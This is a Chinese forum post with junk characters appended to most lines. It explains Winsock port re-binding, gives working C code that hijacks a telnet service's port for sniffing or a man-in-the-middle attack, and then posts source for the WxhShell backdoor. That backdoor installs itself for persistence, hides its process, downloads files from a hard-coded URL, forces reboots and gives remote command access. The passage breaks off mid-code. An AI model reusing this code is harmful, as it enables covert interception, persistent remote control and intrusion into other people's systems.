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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ai`:HhE  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^w12k2a  
m~U{ V9;*  
  saddr.sin_family = AF_INET; F>b6fUtR  
Uqpvj90sw  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); '9/kDkt!  
^n2w6U0  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); R$@.{d&:w  
|Gf{}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 o7T|w~F~R  
1 I+5  
  这意味着什么?意味着可以进行如下的攻击: :> q?s  
Y>#c2@^i<  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 j d8 1E  
OXacI~C  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *(scSC>  
]Cz16e&=2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 aBI]' D;  
8Cqs@<r4Od  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "|G,P-5G"  
^]DWrmy  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @Hf }PBb  
IcoL/7k3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Td  F<  
^`!Daqk  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $"FdS,*qKl  
F:@Ixk?E  
  #include ,pASjFWi  
  #include piG1&*  
  #include Ji!-G4.n"  
  #include    1%@~J\qF  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Qm.kXlsDI  
  int main() 0 \#Q;Z2  
  { @ tIB'|O  
  WORD wVersionRequested; `@e H4}L*  
  DWORD ret; E nvs[YZe  
  WSADATA wsaData; 9>#|~P&FE  
  BOOL val; %KA/  
  SOCKADDR_IN saddr; _)l %-*Z7p  
  SOCKADDR_IN scaddr; gCJ'wv)6|%  
  int err; yn#h$o<  
  SOCKET s; r9Z/y*q  
  SOCKET sc; u7=[~l&L  
  int caddsize; $;CC lzw  
  HANDLE mt; kUUq9me&o  
  DWORD tid;   #~x5}8  
  wVersionRequested = MAKEWORD( 2, 2 ); 1;P\mff3Y  
  err = WSAStartup( wVersionRequested, &wsaData ); eI}VHBAz  
  if ( err != 0 ) { WNb$2q=  
  printf("error!WSAStartup failed!\n"); RrHnDO'  
  return -1;  +o  
  } vOK;l0%  
  saddr.sin_family = AF_INET; UYQ$c }Z5  
   Pp/{keEye  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ! -c*lb  
AVr!e   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); jVINc=o  
  saddr.sin_port = htons(23); rxK0<pWJhx  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (OqJet2{+  
  { X4$e2f  
  printf("error!socket failed!\n"); [j? <9  
  return -1; gHx-m2N  
  } HUC2RM?FN  
  val = TRUE; +I<Sq_-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 faq K D:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #FB>}:L{h*  
  { [!&k?.*;<  
  printf("error!setsockopt failed!\n"); A,{D9-%  
  return -1; FZnH G;af  
  } .NT&>X~.V  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Y*k<NeDyn  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 lAk1ncx  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^eW.hNg  
?X'* p<`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?i~/gjp  
  { 8q3TeMYV  
  ret=GetLastError(); (@ E#O$'  
  printf("error!bind failed!\n"); "Cc"y* P  
  return -1; S7a6ntei  
  } ikhX5 &e  
  listen(s,2); <~M9 nz(<  
  while(1) @'*#]YU8  
  { CLfb`rF  
  caddsize = sizeof(scaddr); $-]setdY  
  //接受连接请求 HiG/(<bs9O  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); f^4*.~cB  
  if(sc!=INVALID_SOCKET) DH9?2)aR  
  { ennz/'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); t4_K>Mj+d  
  if(mt==NULL) 6wB>-/'Y  
  { 0NtsFPO  
  printf("Thread Creat Failed!\n"); ]&U|d  
  break; ZPsY0IzLo  
  } ?0NSjK5ma  
  } 2w|u)ow )  
  CloseHandle(mt); 9'q/&uH  
  } !>y}Xq{bm3  
  closesocket(s); +)JqEwCrq  
  WSACleanup(); `^-Be  
  return 0; TDIOK  
  }   [7 `Dgnmq  
  DWORD WINAPI ClientThread(LPVOID lpParam) tgtoK|.  
  { xqWrW)  
  SOCKET ss = (SOCKET)lpParam; ,?<h] !aQ  
  SOCKET sc; 1vs>2` DLa  
  unsigned char buf[4096]; W lQ=CRY  
  SOCKADDR_IN saddr; Kw0V4UF  
  long num; !* Z)[[  
  DWORD val; e K1m(E.=  
  DWORD ret; ev%t5NZ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 MD4 j~q\ g  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   HQ`nq~%&(  
  saddr.sin_family = AF_INET; +Z&&H'xD  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); z %3"d0  
  saddr.sin_port = htons(23); Jf<yTAm  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q>(u>z!  
  { 7Y|>xx=v  
  printf("error!socket failed!\n"); $a*Q).^  
  return -1; jfPJ5]Z  
  } bNjaCK<  
  val = 100; [RFK-E  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?VZXJO{^  
  { qb> r\bc  
  ret = GetLastError(); T 0v@mXBQ  
  return -1; ilp;@O6  
  } 60%~+oHi~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Usf"K*A  
  { PnIvk]"Ab  
  ret = GetLastError(); #D/ }u./  
  return -1; g~hk-nXL.  
  } 8+|V!q   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) q\t>D _lU  
  { *DC Nu{6  
  printf("error!socket connect failed!\n"); FR,#s^kF  
  closesocket(sc); sx<+ *Trl  
  closesocket(ss); <<On*#80w  
  return -1; 0S:!Gv +  
  } |z|)r"*\4  
  while(1) \v3> Eo[  
  { |@L &yg,x  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *_/eAi/WG  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @EP{VV  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7cmr *y  
  num = recv(ss,buf,4096,0); ]7S7CVDk4  
  if(num>0) , HI%Xn  
  send(sc,buf,num,0); ym*#ZE`B!  
  else if(num==0) Y0X94k.u  
  break; BdB`  
  num = recv(sc,buf,4096,0); Q`p}X&^a  
  if(num>0) dbT^9: Q  
  send(ss,buf,num,0); }:9|*m<$t  
  else if(num==0) ?sf2h:\N  
  break; `-K)K<  
  } /zG-\eU  
  closesocket(ss); >c y.]uB  
  closesocket(sc); F `pyhc>1;  
  return 0 ; kYA'PW/[ )  
  } 95?5=T F  
hXQg=Sj  
?^48Zq6wM  
========================================================== 3@TG.)N4  
C*y6~AYN#  
下边附上一个代码,,WXhSHELL f-v ND'@  
*fvI.cKiGP  
========================================================== ?9zoQ[  
~?`9i>3W~  
#include "stdafx.h" z^!A/a[[!  
j&[3Be'pQ  
#include <stdio.h> &pMlt7  
#include <string.h> ??zABV  
#include <windows.h> =O3I[  
#include <winsock2.h> \/'#=q1  
#include <winsvc.h> X\p`pw$  
#include <urlmon.h> 3 !>L?  
o.A} ``  
#pragma comment (lib, "Ws2_32.lib") t=W$'*P0}  
#pragma comment (lib, "urlmon.lib") Ca5Sc, no  
}OP%p/eY  
#define MAX_USER   100 // 最大客户端连接数 WrHgF*[  
#define BUF_SOCK   200 // sock buffer i_9Cc$Qh<  
#define KEY_BUFF   255 // 输入 buffer 9B#)h)h(=  
CdzkMVH  
#define REBOOT     0   // 重启 s9_`Wrg?  
#define SHUTDOWN   1   // 关机 /[nZ#zj!3  
cEdz;kbUM  
#define DEF_PORT   5000 // 监听端口 *<.WL"Qhl  
C?/r}ly<\  
#define REG_LEN     16   // 注册表键长度 C;)Xwm>e  
#define SVC_LEN     80   // NT服务名长度 8!&ds~?  
=Y]'5cn{  
// 从dll定义API ,Og[[0g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VO @ 4A6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lNA'M&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EN-8uY.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /HjI=263  
fUp|3bBE  
// wxhshell配置信息 }/7.+yD  
struct WSCFG { mHI4wS>()+  
  int ws_port;         // 监听端口 D?\"  
  char ws_passstr[REG_LEN]; // 口令 @\6nXf  
  int ws_autoins;       // 安装标记, 1=yes 0=no %7C%`)T]  
  char ws_regname[REG_LEN]; // 注册表键名 e}?1T7NPG]  
  char ws_svcname[REG_LEN]; // 服务名 s`Be#v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 a_ 9|xI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6_9:Eb=^v!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6cQeL$,SQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no CSG+bqUG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G%j/eTTf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >p]WCb'PH  
\sHy.{  
};  VNr  
L.IoGUxD  
// default Wxhshell configuration B~V<n&<  
struct WSCFG wscfg={DEF_PORT, 75\RG+kQ  
    "xuhuanlingzhe", %2Xus9;k#  
    1, X]zCTY=l  
    "Wxhshell", ')P2O\YS  
    "Wxhshell", e_I; y  
            "WxhShell Service", 0uVk$\:i  
    "Wrsky Windows CmdShell Service", r3[t<xlFf  
    "Please Input Your Password: ", nCffBc  
  1,  e8XM=$@  
  "http://www.wrsky.com/wxhshell.exe", <4l.s  
  "Wxhshell.exe" Qr|N)  
    }; I8<Il ^  
k7yv>iN  
// 消息定义模块 }sTH.%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k\+y4F8$x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u@=+#q~/P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q*09 E  
char *msg_ws_ext="\n\rExit."; _XY`UZ  
char *msg_ws_end="\n\rQuit."; <K DH  
char *msg_ws_boot="\n\rReboot..."; Nl=m'4 @`  
char *msg_ws_poff="\n\rShutdown..."; S.Wh4kMUe  
char *msg_ws_down="\n\rSave to "; HQ|o%9~  
^Txu ~r0@  
char *msg_ws_err="\n\rErr!"; xUiWiOihr6  
char *msg_ws_ok="\n\rOK!"; Qfkh0DX B  
(aDb^(]>  
char ExeFile[MAX_PATH]; n=<NFkeX  
int nUser = 0; |dl0B26x  
HANDLE handles[MAX_USER]; "t (1tWO1o  
int OsIsNt; LaIW,+  
+ AcKB82  
SERVICE_STATUS       serviceStatus; _XH4;uGg  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; eD*?q7  
_" ?c9  
// 函数声明 z9k*1:  
int Install(void); b"ol\&1 #  
int Uninstall(void); msA' 5>  
int DownloadFile(char *sURL, SOCKET wsh); ShL1'Z} ^{  
int Boot(int flag); X[GIOPDx  
void HideProc(void); 86;+r'3p.  
int GetOsVer(void); G*P[z'K=  
int Wxhshell(SOCKET wsl); (*Gi~?-  
void TalkWithClient(void *cs); }j+~'O4m  
int CmdShell(SOCKET sock); =F'l's^j  
int StartFromService(void); f nLR  
int StartWxhshell(LPSTR lpCmdLine); ffmG~$Yh_  
8N=%X-R%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); GN:Ru|n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .DgoOo%?"  
e={k.y }x}  
// 数据结构和表定义 yPf?"W  
SERVICE_TABLE_ENTRY DispatchTable[] = wFK:Dp_^  
{ MuDFdbtR  
{wscfg.ws_svcname, NTServiceMain}, nwa\Lrh  
{NULL, NULL} ;yk9(wea}"  
}; @wd!&%yzO  
V+qFT3?-  
// 自我安装 y;,=a jrF  
int Install(void) Zw;$(="  
{ O{lIs_1.Z  
  char svExeFile[MAX_PATH]; 8fJR{jD(s  
  HKEY key; ~/^y.SsWM  
  strcpy(svExeFile,ExeFile); mV6#!_"  
<u6c2!I{  
// 如果是win9x系统,修改注册表设为自启动 MZCL:#  
if(!OsIsNt) { .@y{)/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?60>'Xj j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,bB( 24LD  
  RegCloseKey(key); fp.!VOy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tP}Xhn`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %iK%$  
  RegCloseKey(key); Hnfvo*6d.e  
  return 0; T6sr/<#<(  
    } e%PC e9  
  } mDb-=[W5  
} Jz~+J*r;]A  
else { [GtcaX{Zz  
+\+Uz!YS  
// 如果是NT以上系统,安装为系统服务 7MKD_`g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <'r0r/0g?  
if (schSCManager!=0) kR<xtHW  
{ +:Lk^Ny  
  SC_HANDLE schService = CreateService NzjMk4t  
  ( ?cqicN.+6  
  schSCManager, gJ]Cq/gC  
  wscfg.ws_svcname, PYdIP\<V  
  wscfg.ws_svcdisp, 5."5IjZu  
  SERVICE_ALL_ACCESS, {F;,7Kn+l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ' oBo|  
  SERVICE_AUTO_START, l'|E,N>X  
  SERVICE_ERROR_NORMAL, Q{H17]W  
  svExeFile, wY' "ab  
  NULL, T&?w"T2y  
  NULL, $-m@KB  
  NULL, 1Z\(:ab13  
  NULL, 5gO /-Zj  
  NULL }BA9Ka#%  
  ); ]b}B~jD  
  if (schService!=0) CkRyzF  
  { KjO-0VMN3  
  CloseServiceHandle(schService); gsnP!2cR  
  CloseServiceHandle(schSCManager); *6NO-T; -  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A;odVaH7  
  strcat(svExeFile,wscfg.ws_svcname); u8 |@|t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C>AcK#-x,{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z+Kv+GmqH  
  RegCloseKey(key); bBA$}bv  
  return 0; J2rvJ2l=t  
    } j%#?m2J}  
  } [m~b[ZwES  
  CloseServiceHandle(schSCManager); pNP_f:A|  
} {d| |q<.-  
} E|Q{]&$;Z"  
||R0U@F,  
return 1; /rqqC(1  
} 3 t/ R2M  
6hp{,8|D"m  
// 自我卸载 |a%B|CX  
int Uninstall(void) 5i|s>pD4z1  
{ <#zwKTmK1  
  HKEY key; XFtOmY  
OWqrD@  
if(!OsIsNt) { _~juv&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Sbp  
  RegDeleteValue(key,wscfg.ws_regname); yb69Q#V2  
  RegCloseKey(key); k69kv9v@J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~D*b3K 8X  
  RegDeleteValue(key,wscfg.ws_regname); /j11,O?72  
  RegCloseKey(key); I"B8_  
  return 0; f(!E!\&n^  
  } ,g%o  
} w- r_H!-  
} <}&7 a s  
else { y7>iz6N  
Sc$gnUYD{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nHnk#SAA u  
if (schSCManager!=0) B#1:Y;Z  
{ oE$hqd s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hXNH"0VCV  
  if (schService!=0) hBjVe?{  
  { ooY\t +  
  if(DeleteService(schService)!=0) { = PV/`I_h  
  CloseServiceHandle(schService); %?Rs*-F.~1  
  CloseServiceHandle(schSCManager); e]>/H8  
  return 0; e$HQuA~Q;  
  } n|6?J_{<b>  
  CloseServiceHandle(schService); 'm[6v}  
  } f?Z|>3.2  
  CloseServiceHandle(schSCManager); %Mh Q  
} <3lUV7!  
} l"kx r96  
c!mG1lwD.  
return 1; "@4ghot t  
} &2Q*1YXj  
b"Zq0M0 l  
// 从指定url下载文件 s_xV-C#q@  
int DownloadFile(char *sURL, SOCKET wsh) J,RDTXqn  
{ !I~C0u  
  HRESULT hr; n3'dLJH|  
char seps[]= "/"; lw s(/a*c  
char *token; Vd21,~^>g  
char *file; sllzno2bU  
char myURL[MAX_PATH]; ]dq5hkjpU  
char myFILE[MAX_PATH]; 8-ZUS|7B  
@^'$r&M  
strcpy(myURL,sURL); wDMjk2 YN  
  token=strtok(myURL,seps); Ssw&'B|o  
  while(token!=NULL)  +tIz[+u  
  { Nl { 7  
    file=token; V'j@K!)~xR  
  token=strtok(NULL,seps); 9_GokU P_  
  } yQ'eu;+]  
-3` "E%9  
GetCurrentDirectory(MAX_PATH,myFILE); N};t<Xev  
strcat(myFILE, "\\"); qJ 95  
strcat(myFILE, file); BMpF02Y|4  
  send(wsh,myFILE,strlen(myFILE),0); M'DWu|dIBA  
send(wsh,"...",3,0); sXiv,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); * MEe,4  
  if(hr==S_OK) 9s(i`RTM  
return 0; x~EKGoz3  
else Rjq a_hxrS  
return 1; %J _ymJ'pd  
i|S: s  
} g,=^'D  
b~*i91)\  
// 系统电源模块 F?cq'd  
int Boot(int flag) 5/ * >v  
{ VRF6g|0;  
  HANDLE hToken; L%XXf3;c  
  TOKEN_PRIVILEGES tkp; ` 5#h jLe  
~p\n&{P0  
  if(OsIsNt) { {OCJ(^8i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qU-!7=}7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3b@VY'P  
    tkp.PrivilegeCount = 1; };r|}v !~_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7TpRCq#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (N0sE"_~I5  
if(flag==REBOOT) { O:e#!C8^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [x5mPjgw  
  return 0; ?Wa<AFXQ  
} [Tp%"f1  
else { m6i%DE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J(e7{aRJ9  
  return 0; hg8Be6G <  
} DvYwCgLR  
  } %'0&ElQ  
  else { Xu6K%]i^  
if(flag==REBOOT) { 036[96t,F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3cixQzb}u  
  return 0; (sCAR=5v\  
} I+" lrU  
else { Xk,>l6 vc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /zT`Y=1  
  return 0; ,Kw5Ro`I:  
} Sy  
} . :a<2sp6  
AF$\WWrB  
return 1; K &dT(U  
} DW|vMpU]u  
$P nLG]X  
// win9x进程隐藏模块 2+:'0Krc  
void HideProc(void) ,{8v4b-  
{ ne*#+Q{E  
#wjH4DT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u-szt ?O|  
  if ( hKernel != NULL ) '$[Di'*;  
  { )Gb,^NGr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f4"4ZVcr  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LuS+_|]x  
    FreeLibrary(hKernel); vq>l>as9O  
  } b\giJ1NJB  
R=M!e<'  
return; wa ky<w,  
} X#ZgS!Mn  
5)M 2r!\  
// 获取操作系统版本 Fw"$A0  
int GetOsVer(void) ~5 >[`)  
{ 55m<XC  
  OSVERSIONINFO winfo; 4pPI'd&/7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e_rzA  
  GetVersionEx(&winfo); S4bBafj[I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %4,?kh``D  
  return 1; m|F:b}0Hb  
  else w z=z?AZW  
  return 0; P1V1as  
} ;#/0b{XFj  
i_ QcC  
// 客户端句柄模块 BJ5}GX!  
int Wxhshell(SOCKET wsl) BQ#L+9%  
{ E\$C/}T  
  SOCKET wsh; S_\ F  
  struct sockaddr_in client; Cj^{9'0  
  DWORD myID; x8"#!Pw:`"  
N wtg%;  
  while(nUser<MAX_USER) `@XehSQ  
{ c!wtf,F  
  int nSize=sizeof(client); cj g.lzY H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .Dw,"VHP  
  if(wsh==INVALID_SOCKET) return 1; ~xDw*AC-  
x_!ZycEa  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CS@&^SEj  
if(handles[nUser]==0) &=Y e6 f[  
  closesocket(wsh); /!T> b:0  
else R#eg^7HfX  
  nUser++; F,T~\gO5,  
  } 1*UN sEr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); LchnBtjn  
&tE.6^F  
  return 0; /k6fLn2;  
} 6+` tn  
Yc;ec9~  
// 关闭 socket n7l%gA*  
void CloseIt(SOCKET wsh) RiR:69xwR*  
{ e;ty!)]  
closesocket(wsh); >EP(~G3u  
nUser--; 4["&O=:d  
ExitThread(0); s| -FH X  
} ( u`W!{1\  
HOZRYIQB  
// 客户端请求句柄 ! '0S0a8  
void TalkWithClient(void *cs) 8)wt$b  
{ s9j7Psd  
PDP[5q r  
  SOCKET wsh=(SOCKET)cs; "A[ b rG  
  char pwd[SVC_LEN]; |d}MxS`^  
  char cmd[KEY_BUFF]; UtJa3ya  
char chr[1]; `78V%\  
int i,j; .C bGDZ  
1-VT}J(  
  while (nUser < MAX_USER) { fly,-$K>LO  
2R.2D'4)`  
if(wscfg.ws_passstr) { Vrp[r *V@E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'C>U=cE7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^p=L\SJ  
  //ZeroMemory(pwd,KEY_BUFF); KQ`=t   
      i=0; G>z,#Xt  
  while(i<SVC_LEN) { ,Em$!n  
.}`hCt08  
  // 设置超时 ig_2={Q@  
  fd_set FdRead; :i*JnlvZ  
  struct timeval TimeOut; )=^w3y  
  FD_ZERO(&FdRead); `<fh+*  
  FD_SET(wsh,&FdRead); +j[oEI`e  
  TimeOut.tv_sec=8; Z|* !y]We  
  TimeOut.tv_usec=0; $_X|, v9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 23ze/;6%A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f3tv3>p  
* fc-gAj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c&'JmKV>&  
  pwd=chr[0]; Of[;Qn  
  if(chr[0]==0xd || chr[0]==0xa) { tE"Si<[]H$  
  pwd=0; .$rC0<G[K  
  break; ra6o>lI(,  
  } >e&:`2%.  
  i++; ~;#MpG;e  
    } ,mFsM!|  
XFqJ 'R  
  // 如果是非法用户,关闭 socket =A!S/;z>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [L~@uAMw:  
} K%j&/T j1  
:Vuf6,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); & >JDPB?5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :k,Q,B.I  
.tXtcf/  
while(1) { {}Ejt:rKN  
yTBS=+X  
  ZeroMemory(cmd,KEY_BUFF); 2eP ;[o  
l{WjDed  
      // 自动支持客户端 telnet标准   Oejq@iM"(  
  j=0; xN"Z1n7t  
  while(j<KEY_BUFF) { r':TMhzHq?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :@3Wg3N  
  cmd[j]=chr[0]; b1`r!B,  
  if(chr[0]==0xa || chr[0]==0xd) { Rf"Mr:^  
  cmd[j]=0; e}{U7xQm1  
  break; $t =O:  
  } Y)I8eU{Wl(  
  j++; KeBQH8A1N  
    } *nTU# U  
-9Ws=r0R  
  // 下载文件 /VTM 9)u  
  if(strstr(cmd,"http://")) { y 'M#z_.z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B]iP't \~  
  if(DownloadFile(cmd,wsh))  0E/:|k  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +M\8>/0oA  
  else k9si| '  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e [0w5)X   
  } Ff4*IOZ}(  
  else { cu7(.  
Q(@IK&v  
    switch(cmd[0]) { D!LX?_cD1i  
  9'~- U  
  // 帮助 FG-L0X  
  case '?': { P=8>c'Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F?4(5 K  
    break; kCP$I732  
  } m <k!^jp  
  // 安装 RDQ^dui  
  case 'i': { 6f%DpJ:$U  
    if(Install()) %i0\1hhV<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @xWdO,#  
    else ,"?A2n-qO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w~\%vXla  
    break; 9IZu$-  
    } QLq@u[A  
  // 卸载 8Jr?ZDf`  
  case 'r': { 3:CO{=`\7B  
    if(Uninstall()) +Ov2`O8?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {1lO  
    else 0 t.p1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -8Ti*:  
    break; oduDA:  
    } y=sGe!^  
  // 显示 wxhshell 所在路径 f@V3\Z/6E  
  case 'p': { a}nbo4jK  
    char svExeFile[MAX_PATH]; Y:QD   
    strcpy(svExeFile,"\n\r"); -=}3j&,\R  
      strcat(svExeFile,ExeFile); 8g/F)~s^F  
        send(wsh,svExeFile,strlen(svExeFile),0); V64L,u#`l  
    break; Zm TDQ`Ix  
    } ^y_fRP~  
  // 重启 `sHuM*  
  case 'b': { +V(5w`qx  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m6n!rRQ^U  
    if(Boot(REBOOT)) K\.5h4k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $p* p  
    else { =[tSd)D,y  
    closesocket(wsh); 2 h|e  
    ExitThread(0); H=MCjh&$q  
    } }xb=<  
